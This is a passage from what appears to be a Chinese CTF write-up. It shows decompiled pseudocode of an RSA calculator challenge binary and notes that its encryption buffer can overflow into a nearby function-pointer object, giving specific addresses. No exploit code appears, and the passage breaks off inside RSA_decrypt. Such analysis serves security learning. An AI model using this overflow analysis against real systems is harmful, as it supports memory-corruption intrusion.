</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+1Ch] [rbp-14h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-10h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+24h] [rbp-Ch]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="kr">__int16</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+2Ch] [rbp-4h] BYREF
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="kr">__int16</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [rsp+2Eh] [rbp-2h] BYREF
</span></span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;-SET RSA KEY-&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;p : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v6</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;q : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v7</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;p, q, set to %d, %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">v6</span><span class="p">,</span> <span class="n">v7</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;-current private key and public keys-&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;public key : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">7</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%02x &#34;</span><span class="p">,</span> <span class="n">pub</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">public key : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">7</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%02x &#34;</span><span class="p">,</span> <span class="n">pri</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="nf">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="n">v4</span> <span class="o">=</span> <span class="n">v6</span> <span class="o">*</span> <span class="n">v7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="n">v5</span> <span class="o">=</span> <span class="p">(</span><span class="n">v6</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">v7</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;N set to %d, PHI set to %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">v5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;set public key exponent e : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;set private key exponent d : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">&lt;</span> <span class="n">v5</span> <span class="o">&amp;&amp;</span> <span class="n">v2</span> <span class="o">&lt;</span> <span class="n">v5</span> <span class="o">&amp;&amp;</span> <span class="n">v2</span> <span class="o">*</span> <span class="n">v1</span> <span class="o">%</span> <span class="n">v5</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;wrong parameters for key generation&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">&lt;=</span> <span class="mh">0xFF</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;key length too short&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">  <span class="nf">set_pub_key</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">pub</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">  <span class="nf">set_pri_key</span><span class="p">(</span><span class="n">v2</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">pri</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;key set ok&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;pubkey(e,n) : (%d(%08x), %d(%08x))</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">v1</span><span class="p">,</span> <span class="n">v1</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;prikey(d,n) : (%d(%08x), %d(%08x))</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">  <span class="n">is_set</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>看得很累，没看出来什么东西</p>
<p>RSA_encrypt 函数：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kr">__int64</span> <span class="nf">RSA_encrypt</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-1424h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-1420h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+14h] [rbp-141Ch]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">char</span> <span class="n">ptr</span><span class="p">;</span> <span class="c1">// [rsp+1Fh] [rbp-1411h] BYREF
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span> <span class="c1">// [rsp+20h] [rbp-1410h] BYREF
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">src</span><span class="p">[</span><span class="mi">1032</span><span class="p">];</span> <span class="c1">// [rsp+1020h] [rbp-410h] BYREF
</span></span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// [rsp+1428h] [rbp-8h]
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="n">v10</span> <span class="o">=</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">is_set</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;how long is your data?(max=1024) : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">&lt;=</span> <span class="mh">0x400</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">      <span class="n">v4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">      <span class="nf">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;paste your plain text data&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">      <span class="k">while</span> <span class="p">(</span> <span class="n">v3</span><span class="o">--</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="nf">fread</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ptr</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="n">stdin</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">          <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="n">ptr</span> <span class="o">==</span> <span class="mi">10</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="n">src</span><span class="p">[</span><span class="n">v4</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="nf">memcpy</span><span class="p">(</span><span class="n">g_pbuf</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">      <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">v4</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="n">v2</span> <span class="o">=</span> <span class="nf">encrypt</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">g_pbuf</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">pub</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="n">g_ebuf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">v2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="nf">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x400u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">      <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="mi">4</span> <span class="o">*</span> <span class="n">v4</span> <span class="o">&gt;</span> <span class="n">i</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nf">sprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">s</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">i</span><span class="p">],</span> <span class="s">&#34;%02x&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)</span><span class="n">g_ebuf</span> <span class="o">+</span> <span class="n">i</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;-encrypted result (hex encoded) -&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;data length exceeds buffer size&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;set RSA key first&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个伪代码不太好看出，但是有溢出。比如 g_ebuf 的地址在：<code>0x6020E0</code>，main 函数里存储 set_key 函数结果的func 对象在<code>0x602500</code>，相差仅仅 1056 字节。</p>
<p>RSA_decrypt</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kr">__int64</span> <span class="nf">RSA_decrypt</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="n">_BYTE</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="c1">// rdx
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">char</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// al
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-634h] BYREF
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-630h]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+14h] [rbp-62Ch]
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-628h]
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">v9</span><span class="p">[</span><span class="mi">15</span><span class="p">];</span> <span class="c1">// [rsp+20h] [rbp-620h] BYREF
</span></span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">1025</span><span class="p">];</span> <span class="c1">// [rsp+2Fh] [rbp-611h] BYREF
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">src</span><span class="p">[</span><span class="mi">520</span><span class="p">];</span> <span class="c1">// [rsp+430h] [rbp-210h] BYREF
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// [rsp+638h] [rbp-8h]
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">v12</span> <span class="o">=</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">is_set</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">v4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;how long is your data?(max=1024) : &#34;</span><span class="p">);</span>
